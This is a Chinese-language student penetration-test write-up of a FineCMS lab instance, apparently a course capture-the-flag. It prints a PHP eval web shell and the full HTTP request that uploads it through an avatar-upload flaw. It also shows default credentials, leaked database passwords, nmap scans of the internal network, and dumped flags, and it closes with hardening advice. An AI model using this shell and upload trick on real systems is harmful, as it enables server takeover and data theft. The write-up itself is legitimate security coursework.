期末大作业
0. 随机游走
启动实例后, 到处点点点.
调试接口
突然发现 “关于” (/guanyu-list.html) 页面:
⚠️ 安全告警 ⚠️
[DEBUG MODE ACTIVATED]
恭喜你发现了调试接口!
尝试探测以下内网:地址
192.168.9.130:8088 - nginx但是现在还没有进入内网的权限, 先按下不表.
管理员账号
观察网站上的文章, 作者均为 admin, 说明 admin 账户存在, 遂试图登陆.
经过一番尝试, 发现 admin 账户的密码为 admin.
注意到源代码中的 src/cache/install/install.sql 文件:
--
-- 表的结构 `{dbprefix}member`
--
DROP TABLE IF EXISTS `{dbprefix}member`;
CREATE TABLE IF NOT EXISTS `{dbprefix}member` (
`uid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,
`email` char(40) NOT NULL DEFAULT '' COMMENT '邮箱地址',
`username` varchar(50) NOT NULL DEFAULT '' COMMENT '用户名',
`password` char(32) NOT NULL DEFAULT '' COMMENT '加密密码',
`salt` char(10) NOT NULL COMMENT '随机加密码',
`name` varchar(50) NOT NULL COMMENT '姓名',
`phone` char(20) NOT NULL COMMENT '手机号码',
`avatar` varchar(255) NOT NULL COMMENT '头像地址',
`money` decimal(10,2) unsigned NOT NULL COMMENT 'RMB',
`freeze` decimal(10,2) unsigned NOT NULL COMMENT '冻结RMB',
`spend` decimal(10,2) unsigned NOT NULL COMMENT '消费RMB总额',
`score` int(10) unsigned NOT NULL COMMENT '虚拟币',
`experience` int(10) unsigned NOT NULL COMMENT '经验值',
`adminid` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT '管理组id',
`groupid` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT '用户组id',
`levelid` smallint(5) unsigned NOT NULL COMMENT '会员级别',
`overdue` int(10) unsigned NOT NULL COMMENT '到期时间',
`regip` varchar(15) NOT NULL COMMENT '注册ip',
`regtime` int(10) unsigned NOT NULL COMMENT '注册时间',
`randcode` mediumint(6) unsigned NOT NULL COMMENT '随机验证码',
`ismobile` tinyint(1) unsigned DEFAULT NULL COMMENT '手机认证标识',
PRIMARY KEY (`uid`),
KEY `username` (`username`),
KEY `email` (`email`),
KEY `groupid` (`groupid`),
KEY `adminid` (`adminid`),
KEY `phone` (`phone`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='会员表' AUTO_INCREMENT=3 ;
--
-- 转存表中的数据 `{dbprefix}member`
--
INSERT INTO `{dbprefix}member` VALUES(1, '', 'admin', 'ac7cd59472be180b81c7551b92925f03', 'b3967a0e93', '1212', '12', '', 9999.00, 0.00, 0.00, 10000, 10000, 1, 3, 4, 0, '', 0, 0, 0);不难的出 admin 用户的一些关键信息:
uid: 1username(用户名):adminpassword(加密密码):ac7cd59472be180b81c7551b92925f03
1. 持久化漏洞
搜索 FreeCMS, 发现相关文章: FineCMS 5.0.10 多个漏洞详细分析过程 - FreeBuf 网络安全行业门户.
审计 src/finecms/dayrui/controllers/member/Account.php:
/**
* 上传头像处理
* 传入头像压缩包, 解压到指定文件夹后删除非图片文件
*/
public function upload() {
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传:错误 '.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}
// 上传图片到服务器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信:失败 %s', $rt['msg']));
}
exit('1');
}发现 upload 函数中并未对上传的文件进行内容检查, 直接将上传的文件存储到 ${SYS_UPLOAD_PATH}/member/${uid}/ 目录下, 这就意味着可以上传任意文件.
并且上传的文件名是 0x0.${result[2]}, 这就意味着我们可以通过控制 data 的内容, 来控制文件的扩展名.
首先上传一个普通 .jpg 图片. 检查网页发现 avatar 链接为: http://.../uploadfile/member/1/45x45.jpeg
制作一个 PHP 木马:
<?php
@phpinfo();
@eval($_POST['cmd']);
?>将文件命名为 avatar.png 从而欺骗前端, 使其认为我们上传的是一个图片文件.
使用 BurpSuite 拦截图片上传请求, payload 如下:
POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 9841f19f-50d8-4b1a-a45c-28ea2bc57ce4.1.2024.thudart.com
Content-Length: 99
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: http://9841f19f-50d8-4b1a-a45c-28ea2bc57ce4.1.2024.thudart.com
Referer: http://9841f19f-50d8-4b1a-a45c-28ea2bc57ce4.1.2024.thudart.com/index.php?s=member&c=account&m=avatar
Accept-Encoding: gzip, deflate, br
Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=mcfhqflupgcv4qlnddi573c41p5a7ddu; member_uid=1; member_cookie=2db4367e75f3b482d301
Connection: keep-alive
tx=data%3Aimage%2Fpng%3Bbase64%2CPD9waHAKQHBocGluZm8oKTsKQGV2YWwoJF9QT1NUWydjbWQnXSk7Cj8%2BCg%3D%3D将 image/png 修改为 image/php, 使服务器使用 php 作为后缀名.
得到如下响应:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Date: Fri, 16 May 2025 12:44:13 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Caddy
Server: Caddy
Server: nginx
Set-Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=mcfhqflupgcv4qlnddi573c41p5a7ddu; expires=Fri, 16-May-2025 14:44:13 GMT; Max-Age=7200; path=/; httponly
X-Powered-By: PHP/5.6.36
Content-Length: 151
{"status":0,"code":"\u4e0a\u4f20\u9519\u8bef\uff1a<p>Your server does not support the GD function required to process this type of image.<\/p>","id":0}即:
上传: 错误 <p>Your server does not support the GD function required to process this type of image.</p>这说明代码已执行到 L201, 并在 L202 break, 因此 L188 的 @file_put_contents 语句并已经执行, 这说明文件已经上传成功.
2. 渗透
检查 http://.../uploadfile/member/1/0x0.php, 看到 phpinfo() 的输出 PHP 5.6.36 信息页面, 说明文件上传成功, 并且能够执行 PHP 代码.
使用 AntSword 连接到 http://.../uploadfile/member/1/0x0.php, 成功获得 shell.
在文件系统 / 根目录下, 发现 flag 文件, 获得敏感信息:
1d856be1-a340-4f56-8d26-f4f013a79d3f根据 “关于” 页面中的提示, 使用 nmap 扫描 192.168.9.130:8088:
$ nmap 192.168.9.130 -p 8088
Starting Nmap 7.60 ( https://nmap.org ) at 2025-05-16 21:01 CST
Nmap scan report for 192.168.9.130
Host is up (0.00056s latency).
PORT STATE SERVICE
8088/tcp closed radan-http
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds发现端口是关闭的.
进一步扫面局域网:
$ nmap 192.168.9.128/24
Starting Nmap 7.60 ( https://nmap.org ) at 2025-05-16 21:03 CST
Nmap scan report for 192.168.9.128
Host is up (0.00027s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 192.168.9.129
Host is up (0.00026s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
3306/tcp open mysql
Nmap scan report for 192.168.9.130
Host is up (0.00025s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.33 seconds发现 192.168.9.129:3306 开放了 MySQL 服务.
使用 AntSword 上传 adminer-5.3.0-mysql.php (Adminer - Database management in a single PHP file) 至 /app 目录, 于是我们可以通过 http://.../adminer-5.3.0-mysql.php 访问 Adminer 页面, 进行数据库操作.
审计源码, 在 /app/config/database.php 中发现数据库连接信息:
<?php
if (!defined('BASEPATH')) exit('No direct script access allowed');
$active_group = 'default';
$query_builder = TRUE;
$db['default'] = array(
'dsn' => '',
'hostname' => '192.168.9.129',
'username' => 'root',
'password' => '123456',
'port' => '3306',
'database' => 'finecms',
'dbdriver' => 'mysqli',
'dbprefix' => 'fn_',
'pconnect' => FALSE,
'db_debug' => FALSE,
'cache_on' => FALSE,
'cachedir' => 'cache/sql/',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'autoinit' => FALSE,
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
);使用 Adminer 连接:
- Server:
192.168.9.129:3306 - Username:
root - Password:
123456
在 finecms > Select: flags 中发现 flag 敏感信息:
308c178c-49a2-4aec-a2b7-3f78a684e8f2并导出整个数据库, 见附件 192-168-9-129-3306.sql.
3. 内网主机
根据前面的扫描结果, 访问 http://192.168.9.130:80/ 得到:
Connecting to 192.168.9.130 (192.168.9.130:80)
HTTP/1.1 200 OK
Server: nginx/1.21.5
Date: Fri, 16 May 2025 15:03:25 GMT
Content-Type: text/html
Content-Length: 210
Last-Modified: Tue, 22 Apr 2025 09:59:08 GMT
Connection: close
ETag: "6807686c-d2"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>System Monitor</title>
</head>
<body>
<h1 style="color: red;">恭喜你发现了内网主机, 漏洞就在这里!</h1>
</body>
</html>使用 nmap 全面扫描 192.168.9.130:
$ nmap -p- 192.168.9.130
Starting Nmap 7.60 ( https://nmap.org ) at 2025-05-16 23:04 CST
Nmap scan report for 192.168.9.130
Host is up (0.00014s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.03 seconds无果.
确认 :8088 不开放, 被骗了.
总结
网站漏洞
/app/finecms/dayrui/controllers/member/Account.php-upload函数, 存在任意文件上传漏洞, 可上传任意文件, 包括 PHP 木马./app/cache/install/install.sql- 明文存储敏感信息, 包括admin用户./app/config/database.php- 明文存储敏感信息, 包括 MySQL 数据库的用户名和密码.
网络拓扑
192.168.9.128:80- PHP 网站主体192.168.9.129:3306- MySQL 数据库192.168.9.130:80- (假的?) 内网主机
敏感信息
/flag-1d856be1-a340-4f56-8d26-f4f013a79d3f- MySQL 数据库 -
308c178c-49a2-4aec-a2b7-3f78a684e8f2
防护建议
1. 文件上传漏洞修复
- 严格的文件类型验证: 修改
upload函数, 实施严格的文件类型验证, 只允许特定的图片格式 (如 jpg、png、gif). - 文件内容验证: 对上传的文件进行内容检查, 确保文件实际内容与扩展名匹配, 防止伪装扩展名.
- 禁用 PHP 解析: 在用户上传目录添加
.htaccess文件, 禁止执行 PHP 文件. - 重命名上传文件: 使用随机文件名和固定扩展名, 避免用户控制文件扩展名.
2. 敏感信息保护
- 密码安全存储: 使用强哈希算法 (如 bcrypt、Argon2) 存储密码.
- 配置信息安全: 将数据库连接信息等敏感配置移至环境变量或专用配置文件, 限制访问权限.
- 移除安装文件: 部署完成后删除包含敏感信息的安装文件 (如
install.sql). - 配置加密: 对配置文件中的敏感信息进行加密存储.
3. 账户安全
- 强制密码策略: 实施强密码策略, 禁止使用默认密码 (如 admin/admin).
- 多因素认证: 为管理员账户启用多因素认证.
- 账户锁定机制: 实施登录失败限制和账户锁定策略.
- 定期密码更新: 强制管理员定期更改密码.
4. 网络安全强化
- 网络隔离: 使用 VLAN 或防火墙规则隔离应用服务器和数据库服务器.
- 数据库访问控制: 限制数据库只接受来自应用服务器的连接, 禁止远程访问.
- 最小权限原则: 为数据库用户分配最小必要权限, 避免使用 root 账户.
- 加密通信: 启用 SSL/TLS 加密所有数据库连接.
5. 系统安全
- 定期安全更新: 确保系统组件 (PHP、MySQL、Web 服务器) 保持最新安全补丁.
- 关闭调试功能: 在生产环境中禁用所有调试接口.
- WebShell 检测: 部署 WebShell 检测工具, 定期扫描服务器是否存在恶意文件.
- 安全审计: 实施定期安全审计和渗透测试, 及时发现并修复安全漏洞.
6. 应用安全
- 代码审查: 进行全面的代码审查, 特别关注文件操作、用户输入处理等安全敏感区域.
- 输入验证: 对所有用户输入实施严格验证, 防止注入攻击.
- 安全框架升级: 升级到最新版本的框架, 避免已知漏洞.
- 安全日志: 实施完善的日志系统, 记录所有安全相关事件, 便于事后分析.